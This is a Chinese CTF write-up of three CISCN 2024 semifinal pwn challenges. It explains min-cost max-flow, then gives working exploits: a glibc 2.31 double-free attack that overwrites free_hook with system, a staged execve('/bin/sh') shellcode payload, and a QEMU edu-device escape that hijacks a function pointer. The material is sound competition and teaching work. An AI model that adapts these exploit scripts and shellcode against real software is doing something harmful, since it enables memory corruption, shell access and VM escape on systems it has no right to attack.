2024 cicsn 西南赛区 半决赛

前言

不能联网搜是真坐牢

mcmf

结构定义

链式前向星的基本思想是为图中的每个顶点维护一个链表,链表中的每个节点代表从该顶点出发的一条边,节点中通常存储目标顶点编号以及边的权值(如果有)。这样,每个顶点的邻接点可以通过遍历链表快速访问。

以C++为例,一个简单的链式前向星节点定义可能如下:

struct Edge {
    int to;      // 目标顶点编号
    int weight;  // 边的权值,可选,对于无权图可以忽略
    int next;    // 指向下一条边的指针,构成链表
};

同时,需要一个数组(或vector)来记录每个顶点的链表头节点的位置,以及一个全局的边数组(或vector)来存放所有的边信息。

const int MAXN = 100005; // 最大顶点数
Edge edge[MAXN << 1];   // 存储边,大小预估为最大顶点数的两倍,防止重边时越界
int head[MAXN], edgeCount; // head[i]表示第i个顶点的链表头指针,edgeCount记录当前边的数量

// 初始化
void init() {
    memset(head, -1, sizeof(head)); // 初始时,每个顶点的链表头指针都设为-1
    edgeCount = 0;
}

添加边

添加一条从fromto的边,可以这样做:

void addEdge(int from, int to, int weight = 1) {
    edge[edgeCount].to = to;
    edge[edgeCount].weight = weight;
    edge[edgeCount].next = head[from];
    head[from] = edgeCount++;
}

遍历邻接点

遍历某个顶点的所有邻接点,可以使用一个循环来实现:

void traverseAdj(int vertex) {
    for(int i = head[vertex]; i != -1; i = edge[i].next) {
        int adjVertex = edge[i].to;
        // 在此处处理与adjVertex的关系,比如打印、进一步计算等
        printf("Adjacent vertex of %d is %d\n", vertex, adjVertex);
    }
}

示例场景

假设有一个包含多个节点的物流网络,目标是将商品从工厂(源点S)运输到多个分销中心(中间节点)再分发到各个销售点(汇点集合T1, T2, T3)。网络如下:

  • 节点:S(源点)、A、B、C(中间节点)、T1、T2、T3(汇点)
  • 边及属性
    • S到A:容量20单位,费用5元/单位
    • S到B:容量15单位,费用4元/单位
    • A到B:容量10单位,费用3元/单位
    • A到C:容量12单位,费用2元/单位
    • B到C:容量8单位,费用2元/单位
    • B到T1:容量10单位,费用6元/单位
    • C到T2:容量15单位,费用4元/单位
    • C到T3:容量20单位,费用3元/单位

目标是最大化从S到所有T的总运输量,同时使总费用最小。

解决步骤

1. 初始化
  • 初始化网络结构,记录每个边的容量和费用。
  • 使用一个距离数组dist[]记录到各点的最短距离(初始时,除了源点S为0,其他均为无穷大)。
  • 初始化一个队列用于SPFA算法。
2. 应用SPFA找最小费用增广路径
  • 开始点:从源点S开始。
  • 松弛操作:对于S的每个邻接点(A和B),计算通过S到达它们的费用,并更新它们的最短距离。然后将这些点加入队列。
  • 队列处理:从队列中取出顶点,对于该顶点的每个邻接点,尝试通过当前顶点松弛到邻接点的路径。如果成功松弛,则标记邻接点并加入队列。这个过程一直进行,直到队列为空或找到到达某个汇点的路径。

3. 增广操作

  1. 找到增广路径:在MCMF问题中,我们首先使用如SPFA之类的算法寻找一条从源点S到某个汇点(这里以T1为例)的最短费用路径。在这个例子中,找到的路径是S->B->T1。

  2. 确定增广量:这条路径的“最小剩余容量”是指路径中容量最小的边还能通过多少流量。如果S->B的容量是15单位,B->T1的容量是10单位,那么整个路径的最小剩余容量是10单位,因为B到T1的容量限制了整个路径能通过的最大流量。

  3. 计算总费用:一旦确定了增广量(10单位),就需要计算沿着这条路径增广所带来的总费用。按照每条边的费用计算,S到B的费用是4元/单位,B到T1的费用是6元/单位,所以通过10单位流量的总费用是(10 \times (4 + 6) = 100)元。

  4. 更新网络状态:增广操作完成后,要更新路径上边的剩余容量。由于我们通过S->B->T1路径增加了10单位的流量,S到B的剩余容量从15单位减至5单位(15-10=5),B到T1的剩余容量变为0(因为已经用尽了)。

  5. 重复过程:完成一次增广后,需要继续寻找新的增广路径。由于B到T1的路径已经被完全利用,SPFA算法会探索其他路径,比如从S出发,经过其他节点(如A、C)到达其他汇点(T2或T3)。找到新路径后,再次执行增广操作,更新相应边的流量和剩余容量,并累加总费用。

4. 终止条件
  • 当无法找到新的增广路径时,算法结束。

结果分析

  • 最大流:通过不断增广,最终得到从S到所有T的最大可能运输量。
  • 最小费用:所有增广路径的总费用之和即为最小费用。

逆向

参考源码https://blog.csdn.net/sugarbliss/article/details/89195128

#include<cstdio>
#include<cstring>
#include<algorithm>
#include<queue>
#define inf 0x3f3f3f3f
using namespace std;
const int maxn = 1e5 + 7;
 
bool vis[maxn];
int n,m,s,t,x,y,z,f,dis[maxn],pre[maxn],last[maxn],flow[maxn],maxflow,mincost;
//dis最小花费;pre每个点的前驱;last每个点的所连的前一条边;flow源点到此处的流量
struct node{int next,to,flow,dis;}edge[maxn];//flow流量 dis花费
int head[maxn],cnt;
queue <int> q;
 
void add(int u,int v,int flow,int dis)
{
    edge[cnt] = (node){head[u],v,flow,dis}; head[u] = cnt++;
    edge[cnt] = (node){head[v],u,0,-dis}; head[v] = cnt++;
     //反边的流量为0,花费是相反数
}
 
bool spfa(int s,int t)
{
    for(int i = 0; i < t + 10; i++)
        dis[i] = inf, flow[i] = inf, vis[i] = 0;
    q.push(s); vis[s] = 1; dis[s] = 0; pre[t] = -1;
    while (!q.empty())
    {
        int now = q.front();
        q.pop();
        vis[now] = 0;
        for (int i = head[now]; i != -1; i = edge[i].next)
        {
            if (edge[i].flow > 0 && dis[edge[i].to] > dis[now] + edge[i].dis)//正边
            {
                dis[edge[i].to] = dis[now] + edge[i].dis;
                pre[edge[i].to] = now;
                last[edge[i].to] = i;
                flow[edge[i].to] = min(flow[now],edge[i].flow);//
                if (!vis[edge[i].to])
                {
                    vis[edge[i].to] = 1;
                    q.push(edge[i].to);
                }
            }
        }
    }
    return pre[t] != -1;
}
 
void MCMF()
{
    maxflow = 0, mincost = 0;
    while(spfa(s,t))
    {
        int now = t;
        maxflow += flow[t];
        mincost += flow[t]*dis[t];
        while (now != s)
        {//从源点一直回溯到汇点
            edge[last[now]].flow -= flow[t];//flow和dis容易搞混
            edge[last[now]^1].flow += flow[t];
            now = pre[now];
        }
    }
}
 
int main()
{
    memset(head,-1,sizeof(head)); cnt = 0;//初始化
    scanf("%d%d%d%d",&n,&m,&s,&t);
    for(int i = 1; i <= m; i++)
    {
        scanf("%d%d%d%d",&x,&y,&z,&f);
        add(x,y,z,f);
    }
    MCMF();
    printf("%d %d",maxflow,mincost);
    return 0;
}

main

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 4 )
        break;
      calc();
    }
    if ( v3 > 4 )
      break;
    switch ( v3 )
    {
      case 3:
        del();
        break;
      case 1:
        add();
        break;
      case 2:
        edit();
        break;
      default:
        goto LABEL_12;
    }
  }
LABEL_12:
  exit(-1);
}

cal

unsigned __int64 calc(void)
{
  int begin; // [rsp+0h] [rbp-10h] BYREF
  int end; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("from?");
  __isoc99_scanf("%d", &begin);
  puts("to?");
  __isoc99_scanf("%d", &end);
  addEdge(101, begin, 0x3F3F3F3F, 0, 0LL);
  addEdge(begin, 101, 0, 0, 0LL);
  addEdge(end, 102, 0x3F3F3F3F, 0, 0LL);
  addEdge(102, end, 0, 0, 0LL);
  mincostmaxflow(101, 102);
  printf("%lld\n", mincost);
  if ( mincost <= 0xDEADBEEFLL )
    exit(0);
  libc();
  return __readfsqword(0x28u) ^ v3;
}

del

unsigned __int64 del(void)
{
  int begin; // [rsp+8h] [rbp-18h] BYREF
  int end; // [rsp+Ch] [rbp-14h] BYREF
  int i; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("from?");
  __isoc99_scanf("%d", &begin);
  puts("to?");
  __isoc99_scanf("%d", &end);
  if ( head[begin] == -1 )                      // 以该节点出发的没有边
    return __readfsqword(0x28u) ^ v5;
  if ( edges[head[begin]]->end == end )         // head_begin是最后一条边的索引
  {
    i = head[begin];
LABEL_10:
    if ( edges[i] )
      free(edges[i]);                           // double free 
    puts("done.");
    return __readfsqword(0x28u) ^ v5;
  }
  for ( i = head[begin]; i != -1; i = edges[i]->next )
  {
    if ( edges[edges[i]->next]->end == end )    // 下一条边的
    {
      v4 = i;
      i = edges[i]->next;
      edges[v4]->next = edges[edges[v4]->next]->next;// 删掉 把下一条边的next赋值给当前边的next
      break;
    }
  }
  if ( i != -1 )
    goto LABEL_10;
  return __readfsqword(0x28u) ^ v5;
}

add

unsigned __int64 add(void)
{
  int begin; // [rsp+0h] [rbp-20h] BYREF
  int end; // [rsp+4h] [rbp-1Ch] BYREF
  int cost; // [rsp+8h] [rbp-18h] BYREF
  int flow; // [rsp+Ch] [rbp-14h] BYREF
  __int64 value; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts("from?");
  __isoc99_scanf("%d", &begin);
  puts("to?");
  __isoc99_scanf("%d", &end);
  puts("value?");
  __isoc99_scanf("%lld", &value);
  puts("cost?");
  __isoc99_scanf("%d", &cost);
  puts("flow?");
  __isoc99_scanf("%d", &flow);
  addEdge(begin % 100, end % 100, flow % 10, cost % 10, value);// 正方向
  addEdge(end % 100, begin % 100, 0, -cost % 10, -value);// 反方向
  printf("gift: %p\n", (const void *)(edges[ege_count - 2] & 0xFFFLL));
  return __readfsqword(0x28u) ^ v6;
}

edit

unsigned __int64 edit(void)
{
  unsigned int index; // [rsp+4h] [rbp-1Ch] BYREF
  __int64 new_value; // [rsp+8h] [rbp-18h] BYREF
  __int64 new_cost; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("index?");
  __isoc99_scanf("%d", &index);
  if ( index <= 0x63 && edges[index] )          // edit after free
  {
    printf("The value now is: %lld\n", edges[index]->value);
    printf("The cost is now: %d\n", (unsigned int)edges[index]->cost);
    puts("new value?");
    __isoc99_scanf("%lld", &new_value);
    puts("new cost?");
    __isoc99_scanf("%lld", &new_cost);
    edges[index]->value = new_value;
    edges[index]->cost = new_cost % 10;
  }
  return __readfsqword(0x28u) ^ v4;
}

思路

  1. double free和edit after free,2.31,利用被free后使得cost和flow值修改绕过mincost泄露libc
  2. 然后就直接高版本double free 修改free_hook,然后free一个value部分为/bin/sh的edge就行

exp

from pwn import *
 

libc = ELF("./libc-2.31.so")
p = process("./pwn")
 
context(arch="amd64",os="linux")
context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']

 
def add(fro, end, value, cost, flow):
    p.sendlineafter(b"choice: ", b"1")
    p.sendlineafter(b"from?\n", str(fro).encode())
    p.sendlineafter(b"to?\n", str(end).encode())
    p.sendlineafter(b"value?\n", str(value).encode())
    p.sendlineafter(b"cost?\n", str(cost).encode())
    p.sendlineafter(b"flow?\n", str(flow).encode())
 
 
def edit(index, value, cost):
    p.sendlineafter(b"choice: ", b"2")
    p.sendlineafter(b"index?\n", str(index).encode())
    p.sendlineafter(b"value?\n", str(value).encode())
    p.sendlineafter(b"cost?\n", str(cost).encode())
 
 
def delete(fro, end):
    p.sendlineafter(b"choice: ", b"3")
    p.sendlineafter(b"from?\n", str(fro).encode())
    p.sendlineafter(b"to?\n", str(end).encode())
 
 
def calc(fro, end):
    p.sendlineafter(b"choice: ", b"4")
    p.sendlineafter(b"from?\n", str(fro).encode())
    p.sendlineafter(b"to?\n", str(end).encode())


add(0,1,1,1,1)
add(10,11,1,1,1)
add(20,21,1,1,1)

delete(0,1)
delete(1,0)
delete(10,11)
delete(11,10)
delete(20,21)
delete(21,20)
#利用残留的key部分绕过minicost泄漏libc地址
calc(0,1)
p.recvuntil(b"gitf: ")
libcbase=p.recv(14)
libcbase=int(libcbase,16)-0x1ecbe0

print("libc ",hex(libcbase))
pause()
# 高版本doublefree
add(2,3,1,1,1)
add(4,5,1,1,1)
add(6,7,1,1,1)
add(8,9,1,1,1)
add(10,11,1,1,1)



delete(2,3)
delete(3,2)
delete(4,5)
delete(5,4)
delete(6,7)
delete(7,6)
delete(8,9)

delete(9,8) #到fastbin中去
delete(10,11)
delete(9,8) # fastbin double free

add(2,3,1,1,1)
add(4,5,1,1,1)
add(6,7,1,1,1)
add(8,9,1,1,1)
free_hook=libcbase+0x1eee48
print("free_hook",hex(free_hook))
print("free_hook", str(free_hook-8))   
system=libcbase+0x52290

gadget=libcbase+0xe3b04 #0xe3b01  0xe3b04 
edit(0x1b,free_hook,1)

add(1,2,1,1,1)
# gdb.attach(p)
add(1,2,system,0,0)

#2f 62 69 6e 2f 73 68     0x0068732f6e69622f 68 73  2f   6e   69    62 2f
p.recvuntil(b"gift: ")
heap=p.recvuntil(b"\n")[:-1]
heap=int(heap,16)
print("heap",hex(heap))
pause()
add(1,2,0x0068732f6e69622f,1,1)
delete(1,2)

# add(50,51,1,1,1)

# delete(50,51)
# delete(51,50)
# pause()
# edit(0x21,heap,heap)

p.interactive()

在这里插入图片描述

vlun

https://survive2.github.io/posts/d743632a/
写入0x10字节的shellcode,保护全关

  • 写入read的系统调用从而扩大shellcode
  • 执行完read就执行read写入后的shellcode
    在这里插入图片描述
    执行movabs前rdi已经是0了,所以赋值/bin/sh就行

exp

from pwn import *
context(os="linux",arch="amd64")
p=process("./pwn")

gdb.attach(p)
pause()
p.sendlineafter(b"input name:",b"a"*38)


#没啥用
# pwndbg> plt
# Section .plt 0x400570-0x4005e0:
# 0x400580: strcpy@plt
# 0x400590: puts@plt
# 0x4005a0: strlen@plt
# 0x4005b0: setbuf@plt
# 0x4005c0: fgets@plt
# 0x4005d0: exit@plt


# pwndbg> got

# /home/llk/Desktop/复赛/vuln/vuln:     file format elf64-x86-64

# DYNAMIC RELOCATION RECORDS
# OFFSET           TYPE              VALUE
# 0000000000600ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
# 0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
# 0000000000601060 R_X86_64_COPY     stdout@GLIBC_2.2.5
# 0000000000601070 R_X86_64_COPY     stdin@GLIBC_2.2.5
# 0000000000601018 R_X86_64_JUMP_SLOT  strcpy@GLIBC_2.2.5
# 0000000000601020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
# 0000000000601028 R_X86_64_JUMP_SLOT  strlen@GLIBC_2.2.5
# 0000000000601030 R_X86_64_JUMP_SLOT  setbuf@GLIBC_2.2.5
# 0000000000601038 R_X86_64_JUMP_SLOT  fgets@GLIBC_2.2.5
# 0000000000601040 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

code='''
xor rax,rax
push rcx
pop rsi
xor rdi,rdi
syscall 
'''
# 再次读取大量
asmm=asm(code,arch="amd64")
print(asmm)
p.sendline(asmm)

code='''
xor rax,rax
push rcx
pop rsi
xor rdi,rdi
syscall     
mov rdi,0x68732f6e69622f
push rdi
push rsp
pop rdi 
xor rsi,rsi
xor rdx,rdx
push 59
pop rax
syscall
'''
asmm=asm(code)
print(asmm)
p.sendline(asmm)


p.interactive()


qeme

一眼qemu逃逸,启动添加了设备device
在这里插入图片描述

启动不行

解决方案

在这里插入图片描述
由于我用的是zsh,所以导入环境变量加载共享库路径是导入到~/.zshrc

保护

在这里插入图片描述
没有符号表damn。。

逆向

直接搜edu-mimo,没有edu-pmio
在这里插入图片描述
找到mmio_read和mmio_write函数
在这里插入图片描述

__int64 __fastcall edu_mmio_read(__int64 pcistat, int addr)
{
  __int64 v2; // r12
  __int64 result; // rax

  if ( addr > 36 )
  {
    if ( addr == 144 )
      return *(_QWORD *)(pcistat + 3056);
    if ( addr <= 144 )
    {
      if ( addr == 128 )
        return *(_QWORD *)(pcistat + 3040);
      if ( addr == 136 )
        return *(_QWORD *)(pcistat + 3048);
    }
    else if ( addr == 152 )
    {
      return *(_QWORD *)(pcistat + 3064);
    }
    return v2;
  }
  if ( addr < 0 )
    return v2;
  switch ( addr )
  {
    case 0:
      result = v2;
      *(_QWORD *)(pcistat + 2632) = sub_399AE0;
      break;
    case 4:
      return 1LL;
    case 8:
      result = qword_FD9C60;
      break;
    case 32:
      (*(void (__fastcall **)(const char *))(pcistat + 2632))("cat flag");
      result = v2;
      break;
    case 36:
      result = *(unsigned int *)(pcistat + 3036);
      break;
    default:
      return v2;
  }
  return result;
}

pcistat + 2632存的是一个函数指针,盲猜越界写system函数

void __fastcall edu_mmio_write(__int64 pcistat, int addr, __int64 size)
{
  int v3; // ebx
  __int64 v4; // rax
  volatile signed __int32 *v5; // rbp
  bool v6; // zf
  int v7; // edx
  unsigned int v8; // esi

  v3 = size;
  if ( addr == 96 )
  {
    v6 = ((unsigned int)size | *(_DWORD *)(pcistat + 3036)) == 0;
    *(_DWORD *)(pcistat + 3036) |= size;
    if ( v6 )
      return;
    if ( (unsigned __int8)sub_3E90F0(pcistat) )
    {
      sub_3E9630(pcistat, 0);
      return;
    }
    v8 = 1;
    goto LABEL_33;
  }
  if ( addr <= 96 )
  {
    switch ( addr )
    {
      case 0:
        *(_QWORD *)(pcistat + 2632) = size;
        break;
      case 4:
        *(_QWORD *)(pcistat + 2592) = ~size;
        break;
      case 7:
        if ( (*(_DWORD *)(pcistat + 3032) & 1) == 0 )
        {
          off_FD77B0(pcistat + 2920, "../hw/misc/edu.c", 280LL);
          *(_DWORD *)(pcistat + 3028) = v3;
          _InterlockedOr((volatile signed __int32 *)(pcistat + 3032), 1u);
          sub_7FCA90(pcistat + 2968, "../hw/misc/edu.c");
          sub_7FC690((pthread_mutex_t *)(pcistat + 2920));
        }
        break;
      case 8:
        (*(void (__fastcall **)(const char *))(pcistat + 2632))("1");
        qword_FD9C60 = (__int64)sub_399AE0;
        break;
      case 32:
        v5 = (volatile signed __int32 *)(pcistat + 3032);
        if ( (size & 0x80) != 0 )
          _InterlockedOr(v5, 0x80u);
        else
          _InterlockedAnd(v5, 0xFFFFFF7F);
        break;
      default:
        return;
    }
  }
  else
  {
    if ( addr != 136 )
    {
      if ( addr > 136 )
      {
        if ( addr == 144 )
        {
          if ( (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
            *(_QWORD *)(pcistat + 3056) = size;
        }
        else if ( addr == 152 && (size & 1) != 0 && (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
        {
          *(_QWORD *)(pcistat + 3064) = size;
          v4 = sub_81C420(1LL);
          sub_81C340(pcistat + 3072, v4 / 1000000 + 100);
        }
        return;
      }
      if ( addr != 100 )
      {
        if ( addr == 128 && (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
          *(_QWORD *)(pcistat + 3040) = size;
        return;
      }
      v7 = ~(_DWORD)size;
      v6 = (v7 & *(_DWORD *)(pcistat + 3036)) == 0;
      *(_DWORD *)(pcistat + 3036) &= v7;
      if ( !v6 || (unsigned __int8)sub_3E90F0(pcistat) )
        return;
      v8 = 0;
LABEL_33:
      sub_3EE600(pcistat, v8);
      return;
    }
    if ( (*(_BYTE *)(pcistat + 3064) & 1) == 0 )
      *(_QWORD *)(pcistat + 3048) = size;
  }
}

确实存在写pcistat + 2632,下一步泄露libc地址

题目给的脚本模版解压后在root文件

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio_base;

uint32_t mmio_read(uint32_t addr,uint32_t size){
    return *(uint32_t *)(mmio_base + addr);
}

void mmio_write(uint32_t addr, uint64_t val,uint32_t size){
    if (size == 1)
    {
        *((uint8_t*)(mmio_base + addr)) = val;
    }else if (size == 2)
    {
        *((uint16_t*)(mmio_base + addr)) = val;
    }else if (size == 4)
    {
        *((uint32_t*)(mmio_base + addr)) = val;
    }else if (size == 8)
    {
        *((uint64_t*)(mmio_base + addr)) = val;
    }
}

void exec_hello(uint64_t cmd,unsigned size)
{
    mmio_read(0x00 & cmd,size);
}

uint32_t read_from_heap(uint8_t cmd,uint8_t idx,uint16_t offset,unsigned size)
{
    uint32_t addr,val;
    addr = (cmd << 24) & 0xFF000000;
    addr = ((idx << 16) & 0xFF0000) | addr;
    addr = (offset & 0xFFFF) | addr;
    val = mmio_read(addr,size);
    return val;
}

void edit(uint8_t cmd,uint8_t idx,uint16_t offset,unsigned size,uint64_t *val)
{
    uint32_t addr;
    addr = (cmd << 24) & 0xFF000000;
    addr = ((idx <<16) & 0xFF0000 ) | addr;
    addr = (offset & 0xFFFF) | addr;
    mmio_write(addr,val,size);
}

void over_write(uint8_t cmd,unsigned size,uint64_t *val) //越界写edu
{
    uint32_t addr;
    addr = (cmd << 24) & 0xFF000000;
    mmio_write(addr,val,8);
}

void malloc(uint8_t cmd,uint64_t counts,unsigned size)
{
    uint32_t addr;
    addr = (cmd << 24) & 0xFF000000;
    mmio_write(addr,counts,size);
}

void free(uint8_t cmd,uint8_t idx)
{
    uint32_t addr;
    addr = (cmd << 24) & 0xFF000000;
    addr = ((idx << 16) & 0xFF0000) | addr;
    mmio_write(addr,1,1);
}

void nor(uint8_t cmd,int64_t val)
{
    uint32_t addr;
    addr = (cmd << 24) & 0xFF000000;
    mmio_write(addr,val,8);
}

int main(){
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    

}

这里不是很懂设置这些(cmd << 24) & 0xFF000000;,调试时候发现没有进入edu_mmio_read或者edu_mmio_write,也不知道啥处理逻辑,只能看到出现segement fault,然后出现一些libc地址和heap地址,和相关寄存器的值,但这些是虚拟地址,但脚本会崩溃,

。。。。。。

问到了Qanux师傅,帮忙联系到了出题师傅,得知解压后得到的那个root文件根本不是用来交互的。。。但不知道为啥会有这玩意,还是感谢师傅的帮助

解开了迷惑,然后看的话,还是很明显的。。都怪自己太菜了,一直想着从给的root脚本找路子

泄露地址然后直接写函数指针就okl

mmio_read函数中的会读取qword_FD9C60的值
在这里插入图片描述
mmio_write函数中会调用函数,然后将sub_399AE0赋值给qword_FD9C60,这里可以泄露pie基地址

在这里插入图片描述

在这里插入图片描述

正好存在system函数,结束!!!
在这里插入图片描述
低三位偏移写即可
在这里插入图片描述

exp

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void*mmio_base;
uint32_t mmio_read(uint32_t addr )
{
   return *(uint32_t*)(mmio_base+addr);
}
uint64_t mmio_read_8(uint32_t addr )
{
   return *((uint64_t*)(mmio_base+addr));
}

void mmio_write(uint32_t addr,uint64_t size,uint64_t val)
{
     *(uint64_t *)(mmio_base + addr) = val;
}

int main()
{   
    setbuf(stdin,0);
    setbuf(stdout,0);//立即显示到终端上
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    mmio_read(0);
    mmio_write(8,8,10);
    uint64_t libc=mmio_read_8(8); //知道低32位就足够了
    printf("pie %p",libc); //printf("pie %x",libc);只会输出低32个字节
    uint64_t sys=libc+0x144919-0x209509;  //直接设置地址为00000000004DE3F9         call    _system会存在对齐出错,直接为system的plt表上的地址,使得rsp对齐
    mmio_write(0,1,sys);
    mmio_read(32); 
    return 0;
}

在这里插入图片描述

  • 10
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值